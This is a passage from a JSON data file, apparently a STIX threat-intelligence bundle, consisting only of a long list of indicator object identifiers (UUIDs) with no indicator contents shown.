        "indicator--c4a539b7-4f25-4edf-b7e8-a62306f7f128",
        "indicator--8f7402dd-7561-44fd-8df7-4c9358e8db0d",
        "indicator--d859e017-118b-450d-8ecc-c05d09ed73aa",
        "indicator--55d9ea35-3ac6-4a03-9cd6-7348ec1a9087",
        "indicator--554f2aac-3f4b-44d8-afed-08026ed41f49",
        "indicator--ee85dfc4-59b8-459f-a061-30f099bb803f",
        "indicator--e28db144-765b-4c68-860c-e9c4d457e2d8",
        "indicator--64585502-1f38-481a-bb59-243f1e5b5a5f",
        "indicator--5be473f5-5190-4e70-a9f7-70571cdc3a9e",
        "indicator--ee5697ac-8c7a-48cc-9a09-ba8eae03a5e2",
        "indicator--c48cc2e8-50d5-451d-9c42-599d07d29e2b",
        "indicator--23d36ef8-750c-45a3-ae8d-9759caae7dcd",
        "indicator--5fd790c4-c4f0-4748-97ed-126dea83fac8",
        "indicator--7e814d82-56e1-4a21-8ee5-eac4c50f2ea8",
        "indicator--17555dd4-da7e-4457-99ca-8a289f2e2341",
        "indicator--4060f072-ce2e-4e83-9d87-0741f25ac951",
        "indicator--037a777e-14e1-42f3-bec4-245ab19d60ff",
        "indicator--f1a1cc45-6b64-43e7-a1a0-8372e42129d4",
        "indicator--afea3497-943d-4162-8189-bf77530966d6",
        "indicator--ccd0b721-5535-4cf1-b294-20cd47de621f",
        "indicator--c7e6d2d2-db56-41a1-821f-e3a3b7564d27",
        "indicator--9e0667a8-ad3b-4ae0-a7fc-cf11bfc02a69",
        "indicator--2105c0d6-5911-4b86-8288-2eec0aa42d7e",
        "indicator--70aeefec-119e-4f15-bed2-c413c67efe91",
        "indicator--2b1344a6-853d-4a20-9d0e-fb7f1c3f32a1",
        "indicator--cfac6727-eef3-49a9-8bbe-664adb420c97",
        "indicator--e4a32177-76cc-47b5-becc-254ae89f8c2c",
        "indicator--338da326-d50b-4a27-9f25-010033f75d86",
        "indicator--6771bcf7-eb57-4495-80a4-a6c2347b1d5d",
        "indicator--9c1aa0e9-f1ba-4584-b41e-f6b9fc6f2305",
        "indicator--938a6888-45d8-475c-95ee-5d22ac0a341b",
        "indicator--6393ca1d-9077-4e6c-944b-109c1a5aa0a3",
        "indicator--cc49d170-a491-4072-99dd-d061ce07c4d2",
        "indicator--e211200b-0779-4052-970c-13d9fec44168",
        "indicator--18d1ac8c-416f-4b37-9c4c-b52f1de8024c",
        "indicator--92bc2128-d344-4ab9-8294-0cd2a83a0f9a",
        "indicator--14f549d3-2dd3-457b-bc9f-50b8182b241f",
        "indicator--98709cda-12e3-4443-94ce-1cce7c75c3fb",
        "indicator--e852ef27-f007-4384-955f-e4d3dccefccc",
        "indicator--ac3b4f11-49ed-4e0e-9442-15dd8db2726f",
        "indicator--30445292-ec72-420f-be63-bc056e62a356",
        "indicator--100090a9-f2c3-4aaa-8b9d-c539150851ca",
        "indicator--80202e9d-f3a9-46b0-9e0f-864d7cc58910",
        "indicator--f3f214cd-9eb4-4699-b85f-25939df7c944",
        "indicator--0da08442-5b61-4d67-a6b8-774ec7585948",
        "indicator--c87f7a08-7828-4bf0-ac96-beed8a5b02d3",
        "indicator--d793f6ea-ab30-4f54-902b-c4555dcc18b3",
        "indicator--a1ed7e72-fa6b-4871-bc03-74d5d14da009",
        "indicator--d2500b75-97c8-4425-922c-c5dd7ffe3a86",
        "indicator--37e2fcd3-ca2f-4191-b704-0ed2fcc2fc44",
        "indicator--d3f11c1e-6386-431f-ab4d-d854b3d35fc8",
        "indicator--d3badb96-b47a-42cd-977d-53ff70b7b28d",
        "indicator--e451743b-7bb3-42df-a19b-e6b277b52969",
        "indicator--6319fb0f-f565-4059-a00b-a016bf7a9178",
        "indicator--c9c6609c-e6aa-4b27-87ab-435426fb36e4",
        "indicator--47a2a900-4aa9-4160-8ecf-0b691fab1a24",
        "indicator--c033b5b0-e382-46a2-ab47-858d71bda3bf",
        "indicator--ee66beec-8eee-4185-8192-8192c10656a1",
        "indicator--75622118-4705-4796-ba9d-4d9143f83031",
        "indicator--e8db8974-7502-49c3-a7fa-6ab20a82f4b5",
        "indicator--0b12e67d-60d4-4340-bb36-38778341358d",
        "indicator--187205d4-e326-479d-a27c-f6de5039bf2b",
        "indicator--db59525d-657a-4a7f-92f5-4c6aa847a55b",
        "indicator--7d783812-2bdb-4db1-bc09-2d26d64c00e3",
        "indicator--52daa0c2-f855-4000-8b2c-fa93d1ce6c22",
        "indicator--d275096a-5ee7-4450-a38d-7b9c03af3f8d",
        "indicator--08d8aacf-d1f8-498f-ac9e-d2ec2328342e",
        "indicator--50acee29-ac7f-49da-9ee7-f396c8c8f0b4",
        "indicator--f3fc2cf3-9881-40b9-af91-a0930873822c",
        "indicator--b9417c90-79cb-4410-aceb-273d4d42324e",
        "indicator--b66bf5f5-2dfc-4234-a971-2380e626fc91",
        "indicator--1229e2be-45e8-4cf7-881b-7b4e6d369622",
        "indicator--fa21e02d-3add-4d77-80e5-cd32b3340e99",
        "indicator--f680f668-6c2e-4b5b-93e8-c23de0ed0106",
        "indicator--0ee0dacc-36d0-47e6-8dae-34b8f9bb6f2a",
        "indicator--bdc4cbeb-37e2-41a6-b068-0ef276e23fe7",
        "indicator--929f160d-b1eb-4c61-82e9-482191eac8b1",
        "indicator--d847cfb7-04a1-4ccf-88fe-a80a81dcaea1",
        "indicator--9f1644d1-fb10-42ae-9541-a3cb65d0d99c",
        "indicator--a147d8f5-ee32-4cd5-a048-d2c7e3981bfd",
        "indicator--f70bd5da-555e-4f39-b002-cb0e52b56228",
        "indicator--4f88db98-dce1-4fe4-bac8-cb786645024c",
        "indicator--74ae2f19-9fd3-4d85-9952-eff64e420436",
        "indicator--cf3e897c-66ce-423c-802a-5523bc16a9ba",
        "indicator--dc41c4bd-7e2a-4e9d-ae8f-85a180a94270",
        "indicator--a1f11a3d-d0bd-46b1-a14c-7f0ff38eb593",
        "indicator--a5c31491-fe82-473d-a8f1-46deb164de1a",
        "indicator--88863721-6433-46b4-872b-889247e61888",
        "indicator--9fb9dbd5-6ffb-4f2f-9a14-fcdc22048f18",
        "indicator--b0497b52-56bd-4f7d-ad68-586f982c074e",
        "indicator--090502f9-1df6-4237-93fb-b7096cde334d",
        "indicator--6a2d18a5-cb72-457a-a8c1-e503c2643ec3",
        "indicator--94402adf-625e-4a52-9929-e2ecb52855ef",
        "indicator--aa9ac0eb-7528-46fe-9e94-eaaeefaabe51",
        "indicator--7dfe9c9e-0826-4c37-8f64-9acd42b0fa7e",
        "indicator--dc093b4f-a8dc-4fcf-a31c-3372d0c4bd46",
        "indicator--d3d25f56-f9a5-45c7-ad3d-376bc7aaab1f",
        "indicator--ba3860f4-6f05-4fc3-af8d-2c9d313baddd",
        "indicator--70448c5e-d5a3-4ab7-9d1a-d2f3b49c2f22",
        "indicator--031e0298-89c5-40ef-852f-8e02949c4def",
        "indicator--b29c764f-de34-4755-899d-fc5e3c87071a",
        "indicator--546da36b-ba9c-4903-8d0f-166d77f7a5de",
        "indicator--ce7f0a10-2f4d-4238-823c-dbd362ea8125",
        "indicator--61545fc5-8b73-493f-9379-fabf145e513c",
        "indicator--544fe835-47e2-4394-a425-538d777827d9",
        "indicator--f2fc7f42-e651-4121-8b9b-e1b1bd4969cf",
        "indicator--0cb5224a-dedb-4ea7-a3fa-064c5470257c",
        "indicator--6033f9d6-d954-4fe8-ab0a-48e73d814c64",
        "indicator--5bf6dc90-8e57-456e-bc5e-a5f42bf96ef9",
        "indicator--750dff3c-a3c8-4432-8f5a-a376806bb76b",
        "indicator--3dd5a518-4545-425a-9610-bbb04128d86e",
        "indicator--e12b7ff1-5439-480c-9323-694065af975e",
        "indicator--a359eb02-1d98-49c1-ac70-013069d581de",
        "indicator--26526aae-f7e2-4a07-ba6d-3bcb99c63238",
        "indicator--354b8eed-37a9-4030-b5f5-d6d3bb753b9b",
        "indicator--dbb42f15-af77-47ea-9d7d-f44d1c15ceaf",
        "indicator--dee2d6c2-1974-4ebf-b432-c0cbdb3e902b",
        "indicator--50b4953d-acc8-4aae-913a-aa036f11db29",
        "indicator--33aeef2d-4c02-4290-a76b-294cebf40141",
        "indicator--7f75124c-2826-40e8-956d-91413d955c14",
        "indicator--bccb6abb-7c5e-4db6-8d10-b78fe6e65da1",
        "indicator--22fc4274-6bd7-40cc-b926-3f3b8cf35b2f",
        "indicator--73508445-9d34-4534-8a49-298fbdb2f66a",
        "indicator--faad1c76-4582-4676-aee3-f7333243d29d",
        "indicator--552f80ff-010e-4b9c-b23c-1c80f620c515",
        "indicator--58f132e6-2d4c-4a57-96f0-6546a01c5af3",
        "indicator--c0833bab-3693-49fa-846c-e71ff38e12e1",
        "indicator--eb62b79f-85dc-483c-8c1e-ee24308bb0af",
        "indicator--ab61d68e-b8db-4966-ba22-6ea73838f97e",
        "indicator--dbb38730-3d48-44e3-9f01-40d04f165590",
        "indicator--e11bdbdc-c6d7-4863-8284-9905f8373fd8",
        "indicator--13dd8187-dd6d-4d01-8355-46f3d7ae95cf",
        "indicator--cf5d1064-c2ab-4a09-92a0-1c98945434d5",
        "indicator--f8609e0b-232b-4dee-9058-c1b348dd7bca",
        "indicator--96c2cad8-0f54-4193-85b6-48cfe0fc7e15",
        "indicator--2e65df83-b271-493d-8e24-df325a5da08c",
        "indicator--c9e90f80-fb07-469d-9c1a-e01ebf2f9c47",
        "indicator--12f67ea1-d94e-47c1-b31f-a5bd710405ae",
        "indicator--8c15e93a-3e59-424d-95e1-0a08b9f5b22e",
        "indicator--e0037e6d-10b6-4fc1-a7af-ec9ebab6fc19",
        "indicator--681ff9d1-810f-4ddb-b52a-9df9cb374ea7",
        "indicator--a6969a7e-c924-4fc0-bd7c-f8cb85d58587",
        "indicator--7cbf464b-caa7-459c-ad04-14a093c77dd9",
        "indicator--8afd8871-9f79-4411-ad0b-1dc56743dbe7",
        "indicator--42ffd322-d985-4c29-800e-019d655046ca",
        "indicator--41db693e-b953-4a7d-8c63-b02895ec7221",
        "indicator--8b6762a3-a773-485b-bb9e-3e51ab813ed2",
        "indicator--6ddc15ae-9c5e-4cef-99e8-7d95904b8f45",
        "indicator--c2f29a70-11df-4777-8009-73650d1f05d6",
        "indicator--5eefc526-a054-49e0-8174-7941a7d669dd",
        "indicator--a22ec6e7-f789-4261-ba22-e12aa9537dbe",
        "indicator--e8297bbc-3c0a-4bfa-9d7e-3acec61e0dae",
        "indicator--ae962116-4278-4408-b4fe-e6e2989393a3",
        "indicator--70c60d80-bcf9-4af3-a46d-ad14b9f088e3",
        "indicator--d1e0d01c-da8e-490a-8109-ac03fff204bb",
        "indicator--9bc1ec10-1760-4129-a277-76a415e37e5a",
        "indicator--709ceb03-7cb5-4e66-9295-f2d461c2fedd",
        "indicator--c3aa032f-a3cc-4fb2-91f5-2fe09308c931",
        "indicator--790c0e2b-dcc0-4588-960a-2c0dc9aad345",
        "indicator--e035a2dc-c9ae-4f4d-b63d-cefecadf8a6a",
        "indicator--53073aa2-7367-4634-97f1-14a05fa8572c",
        "indicator--a78f63de-a422-4693-8f3d-745b7c1b2505",
        "indicator--f3edf215-26fb-433e-95db-63cd0c2af2df",
        "indicator--237a87ec-a720-4fa3-8671-55094da4c995",
        "indicator--28133324-f681-4f20-8ee0-8b162a04fe37",
        "indicator--5bcf1c41-4b5e-40ce-a15d-7afd23c3dc89",
        "indicator--6a53848a-6f10-4aeb-902c-c2282ac1328f",
        "indicator--b5c8abbc-b207-4352-a19e-0a8321a0df08",
        "indicator--8ed27b00-18b0-4bb7-a2e1-b0e126f68cf5",
        "indicator--54ec5730-3ac6-4fca-a72f-6ef0701994ac",
        "indicator--1dc0cf9e-dee3-47b3-955a-2ba1946f72f9",
        "indicator--317594ae-cc49-4624-bd36-b8fce1d628ee",
        "indicator--686cfc16-e23d-4751-abbd-d93bec1c847a",
        "indicator--a013eebe-c7ab-4b50-8037-fd884fe5837b",
        "indicator--c63ba86c-bb6b-4683-b0e5-7f8b070d1885",
        "indicator--f80fb6e9-b779-44f9-a05c-ff69f9df81fe",
        "indicator--68a8ebea-da06-46ba-ba5a-556ed8b40052",
        "indicator--b7c737b8-80ec-4419-b273-55d398b3eded",
        "indicator--50d563f6-61f0-4f4f-b547-2478e668173f",
        "indicator--2b6e84cf-607a-406c-b268-d348a566bcd5",
        "indicator--381e54d6-8727-4566-81e2-d7ec0dfbc7e6",
        "indicator--2ec4b6fd-5346-4eb7-9dee-bfe3f7dd496e",
        "indicator--e55a7483-6f8b-48ce-b323-dabb95b28357",
        "indicator--2e0bf153-6728-43c7-8efc-b850b1f8a6d2",
        "indicator--b8685451-b936-4864-96b6-470822537f1b",
        "indicator--eb736401-09c0-40a9-83ec-ce9a889faf4e",
        "indicator--56b5c389-cc90-48db-8cb3-372fe3f1a796",
        "indicator--bae1ba1b-6b38-4d90-92c2-f5ebc7e54420",
        "indicator--58dfa20e-a3e1-4983-82da-d0792be8bba4",
        "indicator--8d432c9b-adb4-4c2b-bd83-4a820d98bd9d",
        "indicator--e50f56fc-0894-401d-8af3-3cac5abef6da",
        "indicator--28eb3e2a-23f3-476d-8572-400e3b587926",
        "indicator--731a3d0d-7b07-4239-b04c-e38eb41320dd",
        "indicator--5e58c23f-a44f-4c04-9dfa-68099c0f2496",
        "indicator--040a36c6-01aa-4c6a-ba00-11f91a13d20c",
        "indicator--46627576-84cd-4786-9c32-daab59e8e57d",
        "indicator--d42a4479-dfa5-4231-809c-5e7db5888397",
        "indicator--390bcfd4-01ce-4c36-9645-210285ea704b",
        "indicator--64f1ba26-6cca-46c8-82b6-63a3fae9d5a7",
        "indicator--cc04853c-418d-45ae-ab3a-816338153a32",
        "indicator--e5b5f133-4817-4553-a985-712b4f6aa213",
        "indicator--69f17514-b985-4ab9-8040-53767ac056a6",
        "indicator--c0d2c4c7-713b-47d4-86d8-e51f3180ef6b",
        "indicator--50b567d1-2085-4dab-a00d-3ad5d1d7ce8f",
        "indicator--5d6f8302-8e81-4824-abff-75311cdcebdc",
        "indicator--d27ec7ad-2f12-428c-a971-9505a2185968",
        "indicator--48b39013-dcdb-4d59-8936-0639cd7001ab",
        "indicator--87910225-e211-43d6-8e0f-36badf0a456e",
        "indicator--7fd4ded1-025d-4b1e-9cee-b03bd5187476",
        "indicator--a018d333-2ebe-4399-8412-6bf55cb440d5",
        "indicator--2f0e4591-5f58-4b09-9f54-ac898edb7fca",
        "indicator--51c263e8-245c-48ca-a930-c81d0e24dc4c",
        "indicator--866716be-c39a-47d9-88a4-9331878a6c54",
        "indicator--a5a3d6ca-f46f-45ec-805e-f4a6d682dfec",
        "indicator--ac554e03-842b-427b-9e95-2f79f19ddd4f",
        "indicator--0c3b96dc-d1da-4a4f-9830-b297eb96c917",
        "indicator--289cb2d1-e2a1-4437-bb55-49bdbfa2e400",
        "indicator--7f95f806-f3fd-4022-8489-9dcf3332613d",
        "indicator--dee67f53-5ab7-4df2-9d80-bc5779646a50",
        "indicator--7b85d169-5e49-435e-87e3-a26aaccc4322",
        "indicator--b1cdb670-63be-40fc-bf13-2170f4c6c685",
        "indicator--46bd8487-6f1d-48f8-b661-ac189335d1c6",
        "indicator--7d5a9867-08a6-409f-91dd-0985ef1eb183",
        "indicator--62a6f934-d6d1-4f5a-b3cd-a2688a9cb204",
        "indicator--5e018229-556b-4dbd-b37f-f1ef78742c25",
        "indicator--e147b578-26cc-40a9-8d68-9f74cf89db7a",
        "indicator--7fa0e99d-b4c3-47a3-bb81-9619090bf058",
        "indicator--e42fe36b-9dca-4f8c-a92d-d970e77cfa4c",
        "indicator--38079a31-1976-41da-8b19-0a85d823b168",
        "indicator--ea0e1e2b-c319-4226-8a83-b95f5f8869dc",
        "indicator--35538292-8d2f-450d-9931-4e8401cd8570",
        "indicator--81858f58-4ebc-4840-848f-ef0fab0b8992",
        "indicator--25c1a666-2f44-43d9-9643-cc7d8274f204",
        "indicator--3c8c6a2c-b516-4aa6-aae6-c1c9e1426cea",
        "indicator--111f790f-3a44-47f2-a2f7-9a69829b80a3",
        "indicator--cb079cc5-af87-42ec-b1e7-d0410e8145e4",
        "indicator--65003804-b506-4860-a454-c8692b010fcb",
        "indicator--0698fcb6-256b-41d7-accb-d2febff9707f",
        "indicator--45f18fea-60e6-4248-9aea-b584b4816319",
        "indicator--ea0e5493-0977-4057-806c-1cae003b06ae",
        "indicator--3e0914bb-4b5b-44ab-848d-5d88aaf61e18",
        "indicator--e7673861-a6a4-4246-b1ed-fc2c00304dd9",
        "indicator--65df0fee-9a36-4f7b-b766-a5d4025e0838",
        "indicator--0effc75d-8a64-4f3e-bb3f-4047262bd7ad",
        "indicator--6686c0cd-e8f6-472d-9afd-5141db1ec7bf",
        "indicator--d975b1d1-cb6c-47e4-ba03-306746b750c4",
        "indicator--18d15a4b-0785-4ff9-a76b-77534672a985",
        "indicator--88ee0491-ad84-486a-a451-af3d70ae7e26",
        "indicator--97212070-ab81-4704-8acb-c0bcdbf874ee",
        "indicator--96bbf9d4-ea60-486a-9e84-71d8fd2903ec",
        "indicator--46a19f7c-cbf9-4cb9-b5b1-cb104f0cf078",
        "indicator--08d430fd-0d1e-4038-afbf-30642403a119",
        "indicator--9a759b15-6a21-4236-b5aa-3894cfd54200",
        "indicator--40576710-c383-460a-a666-44ddf7e44c55",
        "indicator--1a0f0225-6108-46a8-a34d-062bc64ed5a2",
        "indicator--8d1e61e0-ac6b-494e-ab16-5650dca8012d",
        "indicator--3ca57512-e8bd-4fad-8bf1-adda16acdbb5",
        "indicator--4e0a5934-4944-42d8-af47-f74a46d98f10",
        "indicator--2b6e4e9e-3da4-4a18-a56c-59cf952bd38e",
        "indicator--8ecc225a-5a5f-4d98-aa0c-1ccaf3b891d1",
        "indicator--3c1a02e2-7898-4979-be94-bd403705e25d",
        "indicator--9b0cedba-af2f-4c99-b5e6-bb74269a0897",
        "indicator--20816c33-60be-4710-9d92-2f24f5fcbe0d",
        "indicator--fcc1e280-e4fd-42fa-a60d-96d39666ce8e",
        "indicator--e24618db-138d-4517-ac36-d76388fe8c26",
        "indicator--a41dd743-ffda-441a-8c44-b592f440bfc7",
        "indicator--40a52909-6871-432b-9e60-2a13797f15a1",
        "indicator--26b7cc53-56dd-43a0-ab86-0542aadcfb7c",
        "indicator--371a24c4-7003-49bc-87ee-02a8f9c23eb1",
        "indicator--0a8d33c0-920a-4a3b-85a6-d270faadf23d",
        "indicator--27b038a0-20d2-4c48-81d7-144bb311d438",
        "indicator--a8975497-d2ea-469a-9749-bc4b81f33e15",
        "indicator--06001c7f-0f7d-4423-b74d-2a6e38287647",
        "indicator--5e195a94-5b14-492c-9ebd-14afc8912e7c",
        "indicator--abb56643-14fd-4db7-8670-52af2e4b8fd6",
        "indicator--899516e4-de68-4bed-b408-abc9408e82e3",
        "indicator--be7c4337-a458-485f-8924-c92b99eafa14",
        "indicator--ed1e034d-2c24-46cd-8b8c-6cd03d7d6e0c",
        "indicator--1c6c2f7f-3c0e-4dca-80f6-0ecc8cbe6195",
        "indicator--045623aa-d426-429e-af00-11ea7a2cde53",
        "indicator--e3e96408-ed52-4550-9a87-49a84b3d4dd8",
        "indicator--74ac8a79-6f7d-46f1-aa74-0d4e494639a6",
        "indicator--7e1863fd-478b-449d-9de4-4e9a4bb38117",
        "indicator--2d0fff5e-9f07-41b1-8635-48d2584bf52f",
        "indicator--f18bcb17-037f-4050-9d75-31f767780cb0",
        "indicator--b8ddfe93-d4dd-4039-accc-034afefc300f",
        "indicator--f23e46f9-fbf7-489c-8e06-1dc6f6e417fe",
        "indicator--b7181184-f0f4-408b-a6ed-a02622dc9b98",
        "indicator--3339c298-48d6-43f1-8ef6-24b12bea9b38",
        "indicator--a850ea7d-4d59-442d-a6c5-2ec56dff121f",
        "indicator--5f1e9f46-d963-48b8-a7b8-dd67568b0a5d",
        "indicator--2a75e165-033d-49b2-ad6a-862931af0d66",
        "indicator--a76bde83-047b-4bcc-9558-98dab5496054",
        "indicator--10fe9b85-c03e-4f1b-ade6-7a5210734c46",
        "indicator--667cf1b7-0777-411b-8a10-07a03e0a3376",
        "indicator--f11d1e42-0dda-4453-a4a6-2ef575ad8b4b",
        "indicator--3dff6a17-d854-4733-87b9-694a33185d00",
        "indicator--aaa621c7-348f-484e-b163-41136d6dacac",
        "indicator--919496eb-6a93-4e01-803f-f38da11799c3",
        "indicator--c921b18a-42dd-440d-abe7-9ce929f4ce3d",
        "indicator--26881ccb-845e-4ca1-996f-eff687bfbf6f",
        "indicator--960ae5ec-92b9-44d4-a654-f2e931a916dd",
        "indicator--4477878a-53f9-499c-a15e-03cc3dabdbda",
        "indicator--2d33ae51-e796-490c-a850-0885f7a0e9cc",
        "indicator--1741d234-085a-4f98-910d-bcb3c7e6b5ff",
        "indicator--e7e4a2e3-ac08-430f-a40a-ab7b218a44c4",
        "indicator--6eb82bc6-0555-491a-b995-24d25d0cc1fb",
        "indicator--39118277-a7a5-4814-992c-92776f29d254",
        "indicator--dcdf9c74-697b-4515-81ab-ce00015f2c20",
        "indicator--9b3da1e1-705e-4ab5-b6e2-8b6b5c8535a7",
        "indicator--5ee59709-1cdd-4640-a60c-d03090f87798",
        "indicator--7aec66ce-f7eb-4b9d-813c-9d861d7afbdc",
        "indicator--bfbf45e5-5a3a-4eac-89a8-0e78e4e4128c",
        "indicator--c0cf8b36-036a-48e5-8a78-7611011827b4",
        "indicator--822bb1ad-ff62-46ff-b8c8-621db5c586c3",
        "indicator--81ba8557-953c-40f3-b3b0-df02df0458e7",
        "indicator--0099f9e8-8fe1-45b2-ba76-ea201e0f3115",
        "indicator--9e0c6889-5697-4cdb-9492-907c247dc1f8",
        "indicator--918927f4-4429-4b70-8124-cf0418a31885",
        "indicator--ac2236fd-2eac-493e-b6ea-8fb64821c633",
        "indicator--6bac5793-e210-438e-a6f5-e2a633dd0ad2",
        "indicator--92232187-67ab-4184-925e-1b1c6ba90058",
        "indicator--7ca3dae3-dbb8-447b-884c-8e41b8bffee7",
        "indicator--a4a4535e-5c46-4324-875b-d98b6205f85e",
        "indicator--a7a0b6e1-3b3a-44a8-8f3d-d87d28be2968",
        "indicator--f43e4056-14e7-4cc0-a77b-21ea64d3754d",
        "indicator--3527b89f-93c1-4b9b-b14d-e6bcd1f11ef6",
        "indicator--5b40c96e-f2b5-4446-8918-3e26afac8693",
        "indicator--78988d34-b109-48bc-a687-c2bae2dda21a",
        "indicator--5dc54f24-6756-4909-8c2e-e5a91a1cc658",
        "indicator--bfa47dfd-3f55-427c-a70a-9eaedf5ae4ef",
        "indicator--0e5fc404-85e1-4350-a142-1411737b7a77",
        "indicator--f79ec5b9-13c4-4a28-ba9b-1cf9778a7554",
        "indicator--63f0dffa-64b1-4b67-96d5-0df89ba1ee7c",
        "indicator--26ae78d7-5a61-4c94-8bc3-aa26449738eb",
        "indicator--3818fc44-6a1c-42d9-8676-bb2668f14b0d",
        "indicator--9227b603-07eb-4055-ad18-519014716621",
        "indicator--31c74561-8524-4dd9-b3d0-c31fe9bb27bb",
        "indicator--31cc1394-f405-4411-abd5-4387934525fb",
        "indicator--f72cd03c-3bc0-4819-99aa-02249956fed3",
        "indicator--0e4e6d3b-d854-48dc-9eed-62c30d805787",
        "indicator--5733fbda-a16a-41fb-844a-cbd5dccea14c",
        "indicator--37a2c820-a956-4f00-98e9-43a0a18cecbe",
        "indicator--8bcc0f5a-c382-46c8-985f-cb97571b0bed",
        "indicator--477006c8-693e-4cc0-bb62-fb15e058a88a",
        "indicator--3e1eb86d-5dfb-4726-be8d-730fe0064f72",
        "indicator--0afb87fe-cfb0-479b-9854-d024a0766f31",
        "indicator--45a2d070-0c69-42b3-b535-c68245d038c3",
        "indicator--ecab680c-83d1-4573-ad88-af057624471e",
        "indicator--a4a8917c-01a3-4ffb-a59b-69d38e948e41",
        "indicator--1b16d269-62ce-4b43-97c1-f309dac2bd03",
        "indicator--dd740f4f-d7d7-4c1f-87ce-f0430afb43f0",
        "indicator--4ac85c18-6c71-4a3d-b39a-c20a8e5d18dc",
        "indicator--901e4ea2-cbb8-47f2-9a91-bdd665e28165",
        "indicator--0e81553e-613d-406c-9a7e-2812cef1e099",
        "indicator--c835744a-b1d9-4baf-9af7-50a4e6caee6e",
        "indicator--5804d2cd-f406-4dcb-9b69-95c5d576c263",
        "indicator--4f5fdbe5-5b0b-4177-b72a-a977dd2622fb",
        "indicator--300b93e5-2f2b-4bbf-aac9-6ca21643c55f",
        "indicator--32d8571f-a8bb-4858-bfc7-238e814cba92",
        "indicator--df2d8e69-784f-444c-86ba-7fda9fd91992",
        "indicator--d3b3447c-ab29-48aa-aacf-8bf3e358df24",
        "indicator--3ed08db9-7404-4d0e-a375-e119159182b2",
        "indicator--4bc1b8f5-b298-4f34-8b08-1b055ae2f208",
        "indicator--3fd8015e-eb0a-49e9-b76e-23dc347b7a2e",
        "indicator--c52dbf03-cd79-487c-8a5a-a1f650541076",
        "indicator--4ab1949b-b338-4c39-b33a-ecd22036c464",
        "indicator--036a6344-eba4-49d9-a38e-f1b7f9d97cd9",
        "indicator--0399b25d-21da-4516-a1b1-5945d827fb43",
        "indicator--168cfa56-66a8-47df-bb2f-6da2c14e80c9",
        "indicator--d323f5e8-a57a-4ee6-ba82-96955e959720",
        "indicator--3308ce26-ce6c-4d80-a253-5a75261bdda7",
        "indicator--25cb529a-9ea2-4e12-8f4c-7d7c196c3cd9",
        "indicator--1f382bc3-fd71-490b-82a4-60bbaf483697",
        "indicator--67372f9c-e7ec-4e76-92a2-d43edfa9eacf",
        "indicator--a7b046bf-6cbd-40eb-a2ba-275251cc28fc",
        "indicator--1716ff50-3a08-4100-8d13-bd14bb74a25a",
        "indicator--588e6aab-6aa2-46c5-9ada-5b1009d076e9",
        "indicator--3a73b28d-1e0e-4b12-8e93-95ce39469de0",
        "indicator--d2eedea0-5698-4bdd-be45-16f68d7bc7d1",
        "indicator--ee17dcdd-f4aa-493e-9a90-73a365bea396",
        "indicator--e7e42ca5-05e4-4562-a0cb-529e0b1a143e",
        "indicator--d33a2c25-b221-4df3-8b23-0538cc36c334",
        "indicator--c6393c87-ebf7-4c6f-8816-01d689212d34",
        "indicator--c4a1998a-c763-4996-80b0-31f5aac1ad6d",
        "indicator--aebca577-e4d6-4141-a0b9-ab1d80997349",
        "indicator--cc25deb4-d39b-4c0f-95a0-0277aae6f0ad",
        "indicator--34e6b4fa-e110-4a81-ba9a-6c36a395bd42",
        "indicator--9557d0af-8359-4f1d-93b1-1e87317d3935",
        "indicator--04360454-4663-4a0c-8930-71ce5bd48e0c",
        "indicator--97690a5d-ca7f-4bb4-9958-3366cc258327",
        "indicator--b8b294d8-0547-41c7-8bc2-0b0648c11124",
        "indicator--02acbc36-45a4-48ad-af82-fb5fd56c1d63",
        "indicator--9e71ee56-153e-401c-9611-4eb14f448855",
        "indicator--e136fb88-ad1c-49be-8403-b9cfae0d3eef",
        "indicator--7b097b8d-27ce-46cf-bad4-d9feb1267e99",
        "indicator--56d9b25d-92f5-412c-b1c4-df8a41613901",
        "indicator--05a2c155-f39a-4d4a-b64f-f5fd4b30d923",
        "indicator--68e50f0c-9dba-40c0-9ba8-9345293f3d09",
        "indicator--60e99be9-874f-4785-b3be-c4facbd8f78f",
        "indicator--82d857a3-1d9a-4f4b-a784-6578166e7797",
        "indicator--97adb6ca-3157-4071-abb5-5c2ebf9e9cf9",
        "indicator--6ff34712-e924-4c4d-8965-151e459384ef",
        "indicator--fd0b7662-7821-4393-81b9-e9fb39f08954",
        "indicator--9ede4597-1584-4cd5-8b94-4e7b01645461",
        "indicator--25e9a1e9-188e-4e64-9809-e552897704bd",
        "indicator--4cba31f4-c297-47fa-bb77-609bd13caf86",
        "indicator--5ff43452-937d-49b8-a87a-ef026072543c",
        "indicator--1681130e-0527-498b-b15b-0c08eb4ae731",
        "indicator--00b13598-fe2f-4ba2-a0db-099b8f3c13a3",
        "indicator--6ee4fc8c-2cfb-4fc8-9559-650a496cb91e",
        "indicator--8d974e63-f1fe-4fd5-b3fa-7eaaea32ff0a",
        "indicator--8a0366af-075f-46e3-8b11-c16b969d7072",
        "indicator--59cff2fa-9f35-459d-933b-13eb9d0eccc9",
        "indicator--41b39a5a-ed19-448d-9587-3aaf42c9e79d",
        "indicator--621c67d2-2620-4d30-90a2-93f3c5b566f2",
        "indicator--b0c61a44-3f3e-4d6d-adac-920c97cc7247",
        "indicator--f065d566-dfa0-4221-85f1-5611b78a3c6c",
        "indicator--611895f2-8ff8-4131-b946-379e8342aaf4",
        "indicator--30eacec2-56a1-4fbe-9e49-216ea1fa98b5",
        "indicator--d270d208-efd9-42be-9203-845a316be673",
        "indicator--a0798488-e6fc-4fa3-86c5-d59142437891",
        "indicator--1e3c1f73-18cd-4179-8d50-f4298963dbc9",
        "indicator--54d4a914-5e49-4a4a-8d64-7348530ff9d9",
        "indicator--bbc45b35-f2e5-4f68-ab3b-f17c050064f7",
        "indicator--64925ba0-3002-42a6-acc1-ce5732c48d6e",
        "indicator--e714df4e-a981-4361-b9ee-423f5fa8e626",
        "indicator--60667214-a106-4ceb-81a0-05a71b459e28",
        "indicator--50b798b1-1619-4cec-a221-a0c70a270814",
        "indicator--d13b0f30-0add-43ce-b610-38be5b297add",
        "indicator--0664aa34-80f3-4430-84c1-67d714218803",
        "indicator--08f9a4d1-9337-4e9f-a52c-dea2825c187b",
        "indicator--6a526b1a-bc00-4541-a134-5ba525b2e9c7",
        "indicator--277af3c8-aad3-4970-b5cf-d7b021324bbd",
        "indicator--fd74beb0-83a8-4342-b3f8-d31ea8ff4039",
        "indicator--86e41c34-cfe7-4747-b7b5-22ed06f10f70",
        "indicator--353f23e2-3d54-4ea0-985e-95aac6d569a3",
        "indicator--900382fd-a619-467c-b2c5-0ee809d91994",
        "indicator--f8dae721-39d3-4689-9664-1d6a3b0c9628",
